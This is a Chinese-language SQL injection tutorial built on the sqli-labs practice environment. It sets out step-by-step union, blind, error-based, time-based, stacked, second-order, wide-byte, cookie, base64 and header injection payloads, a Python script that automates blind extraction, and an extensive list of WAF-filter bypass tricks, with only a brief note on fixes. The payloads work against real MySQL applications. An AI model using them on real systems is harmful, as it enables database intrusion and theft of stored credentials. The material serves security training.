在实际环境中,开发者需秉持“外部参数皆不可信”的原则进行开发。
SQL注入基础
在MySQL5.0版本之后,会默认在数据库存放information_schema
的数据库,在该库中:
SCHEMATA
表存储该用户创建的所有数据库的库名,记录数据库库名的字段名为schema_name
;
TABLES
表存储该用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段分别为table_schema
和table_name
;
COLUMNS
表存储该用户创建的所有数据库的库名、表名和字段名,其对应的字段名分别是table_schema
、table_name
、column_name
。
limit的用法
limit的使用格式为limit m,n
,其中m
指记录开始的位置,从0开始,表示第一条记录,n
是指取n条记录。
查询函数
database()
:当前网站使用的数据库
version()
:当前MySQL的版本
user()
:当前MySQL用户
注释符
在MySQL中,常见注释符的表达方式:#
、--空格
或/**/
。
内联注释
内联注释的形式:/*! code */
。内联注释可以用于整个SQL语句中,示例如下:
index.php?id=-15 /*! union */ /*! select */ 1,2,3
union注入攻击
我们以sqlilabs第一关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-1/?id=1
http://localhost/sqlilabs/Less-1/?id=1'
http://localhost/sqlilabs/Less-1/?id=1'--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=1--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=2--+
http://localhost/sqlilabs/Less-1/?id=1' order by 4--+
http://localhost/sqlilabs/Less-1/?id=1' order by 3--+
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,database(),version()--+
随后可将union select 1,2,3
中数字替换为以下查询语句,记得在左右两侧加括号:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users
boolean注入攻击
我们以sqlilabs第八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=10 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=9 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=8 --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='e' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='s' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),2,1)='e' --+
...
http://localhost/sqlilabs/Less-8/?id=1' and database()='security' --+
随后可将substr()
中database()
替换为查询语句,记得在左右两侧加括号:
substr(select group_concat(table_name) from information_schema.tables where table_schema='security',1,1)='u'
这里附各字母出现概率表:
字母 | 概率 |
---|---|
E | 0.1268 |
T | 0.0978 |
A | 0.0788 |
O | 0.0776 |
N | 0.0707 |
S | 0.0634 |
R | 0.0594 |
H | 0.0573 |
L | 0.0394 |
D | 0.0389 |
U | 0.0280 |
C | 0.0268 |
F | 0.0256 |
M | 0.0244 |
W | 0.0214 |
Y | 0.0202 |
G | 0.0187 |
P | 0.0186 |
B | 0.0156 |
V | 0.0102 |
K | 0.0060 |
X | 0.0016 |
J | 0.0010 |
Q | 0.0009 |
Z | 0.0006 |
最大值 | 0.1268 |
报错注入手动的话需要很大工作量,这里提供一个脚本:
import requests
def database_len():
for i in range(1, 10):
url = '''http://127.0.0.1/sqlilabs/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' % i
# print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print(i)
else:
# print('false')
print('database_length:', i)
break
database_len()
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqlilabs/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
# print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
报错注入攻击
我们以sqlilabs第五关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-5/?id=1
http://localhost/sqlilabs/Less-5/?id=1'
http://localhost/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
随后可将concat()
中database()
替换为查询语句,记得在左右两侧加括号:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users
SQL注入进阶
时间注入攻击
if(length(database())>1,sleep(2),1)
的意思为:如果数据库库名的长度大于1,则MySQL查询休眠2秒,否则查询1。
我们以sqlilabs第八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and if(length(database())>1,sleep(2),1) --+
随后可将if()
中左侧条件替换为查询判断语句:
substr(database(),1,1)='s'
堆叠查询注入攻击
堆叠查询可以执行多条语句,多语句之间可以用分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。
我们以sqlilabs第三十八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-38/?id=1
http://localhost/sqlilabs/Less-38/?id=1'
http://localhost/sqlilabs/Less-38/?id=1'--+
http://localhost/sqlilabs/Less-38/?id=1';insert into users(username,password) values('www','www');--+
二次注入攻击
我们以sqlilabs第二十四关为例。
先注册新用户,用户名为admin'#
,密码为111。
修改admin'#
密码为123。
此时查看数据库可以发现,用户admin
的密码被修改。
宽字节注入
宽字节注入原理:
通常来说,一个GBK编码汉字,占用2个字节。一个UTF-8编码的汉字,占用3个字节。在PHP中,我们可以通过输出echo strlen("中");
查看字节数,页面编码为GBK时输入2,UTF-8时输入3。MySQL在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c
就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤'
的时候,往往利用的思路是将其转换为\
。所以如果我们输入%df%27
(%27
就是单引符号会被转义成\
也就是%5c%27
),在后台%df
会将%5c
吃掉”,组成一个汉字(%df%5c
是一个汉字)。
我们以sqlilabs第三十二关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-32/?id=1
http://localhost/sqlilabs/Less-32/?id=1'
http://localhost/sqlilabs/Less-32/?id=1' --+
http://localhost/sqlilabs/Less-32/?id=1%df'
http://localhost/sqlilabs/Less-32/?id=%df%27%20union%20select%201,2,3%20%23
cookie注入工具
打开浏览器中的检查工具,输入 document.cookie
即可获取cookie值。
也可以通过burpsuite截获数据包查看cookie信息。
我们以sqlilabs第二十关为例。
修改Cookie字段,注入顺序依次为:
Cookie: uname=admin
Cookie: uname=admin\
Cookie: uname=admin'
Cookie: uname=admin' or 1=1 --+
接下来即可通过常规流程注入:
爆库:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(schema_name,0x7e,0x7e)from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
【因为使用union select必须是union前半部分报错后半部分才能执行,所以我们就需要让前面的uname的值是一个错误的值】
2、(updatexml)
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1) or 1=1 --+
爆表:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e,0x7e)from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1) or 1=1 --+
爆字段:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e,0x7e) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#
base64注入攻击
base64编码是从二进制到字符的过程,它可以用于在HTTP的环境下传递教程的标志信息。base64是网络上最为常见的用于传输8bit字节码的编码方式之一,它其实就是一种基于64个可打印的字符来表示二进制数据的方法。
Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式。 当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。转换完空出的结果就用就用“=”来补位。每76个字符加一个换行符,最后的结束符也要处理(一般来说出现 == 就是结束了)进行编码的步骤:
1. 将字符串转换为二进制串(原本是3个8bit为一组);
2. 将二进制串分为以4个6bit为一组;
3. 每一组中的每一个6bit从左往右取之后高位补两个零形成一个新的字符串。
4. 查看BASE64编码表,编码的编号对应的是得出的新字节的十进制值。
例如1:
5. 原本的字符串是“张3”,将它转换为二进制串是:11010101,11000101,00110011(3*8=24)
6. 分4个6bit为一组,所以110101 011100 010100 110011为一组(4*6=24)
7. 这一组中的每一个6bit从左往右取,之后高位补两个零,所以第一个6位:110101,之后高位补两个零:00110101;第二个6位:011100,之后高位补两个零:00011100;第三个6位:010100,之后高位补两个零:00010100;第四个6位:110011,之后高位补两个零:00110011;
8. 形成新的二进制字符串:00110101 00011100 00010100 00110011
9. 最后得到的十进制串是:1cUz
base64_decode(str)是PHP中用于base64加密字符串的函数,base64_encode(str)是PHP中用于base64解密字符串的函数。
我们以sqlilabs第二十二关为例。
通过抓包发现uname内容进行了加密。
打开Decoder模块进行解密,YWRtaW4%3D
中的%3D
其实是URL编码后的=
。
对注入内容进行加密。
使用加密内容进行注入。
其他步骤不再累赘详解。
XFF注入攻击
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP
追加在X-Forwarded-For
中。
使用Burp的Repeater模块对请求进行修改,分别修改X-Forwarded-For的值如下所示:
X-Forwarded-for: 127.0.0.1
X-Forwarded-for: 127.0.0.1’
X-Forwarded-for: 127.0.0.1' and 1=1#
X-Forwarded-for: 127.0.0.1' and 1=2#
若存在漏洞,可以继续使用union注入方式完成注入。
SQL注入绕过技术
- 大小写绕过注入
- 双写绕过注入
- 编码绕过注入
- 内联注释绕过注入
空格绕过
- 用注释替换空格
select/**/user,password/**/from /**/users;
- 空格 url 编码 %20
- 两个空格代替一个空格
- 用 Tab 代替空格
- %a0 = 空格
- 如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
- 回车
引号绕过
-
使用十六进制
select column_name from information_schema.columns where table_name='users';
如引号被过滤,可以尝试使用十六进制来进行绕过,即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;
-
在已知数据库名和表名前提下
select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名, 然后尝试得知哪些字段在哪个表中:
select username,password from users;
-
宽字节注入
逗号绕过
在使用盲注的时候,需要使用到substr()、mid()、limit
这些子句方法都需要使用到逗号
- 对于
substr()
和mid()
这两个方法可以使用from
的方式来解决:
select substr(database() from 1 for 1);
- 使用
join
union select 1,2
可以使用union select * from (select 1)a join (select 2)b
代替 - 使用
like
select ascii(mid(user(),1,1))=80
可以使用select user() like 'r%'
代替 limit
中,使用offset
绕过
limit 1offset0
or and xor not 绕过
- 利用符号替换
and = &&
or=||
xor=|
not=!
- 在敏感词中添加注释:
an/**/d
- 双写绕过 oorr
- 大小写变形
- 编码
注释符绕过
id=1' union select 1,2,3 or '1'='1
即虽然无法使用注释符,但是可以闭合,或者:id=1' union select 1,2,'3
- 最后添加
or 1'
- 最后添加
and '1'='1
等于号绕过
- 使用
like
- 使用
!<>
, 因为<>
是不等于 regrep (正则表达匹配)
<> 被过滤绕过
greatest(),least()
strcmp(str1,str2)
, 第一个参数小于第二个参数,返回- 1,否则为 1in,between a and b
常用等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
SQL注入修复
- 过滤危险字符
- 使用预编译语句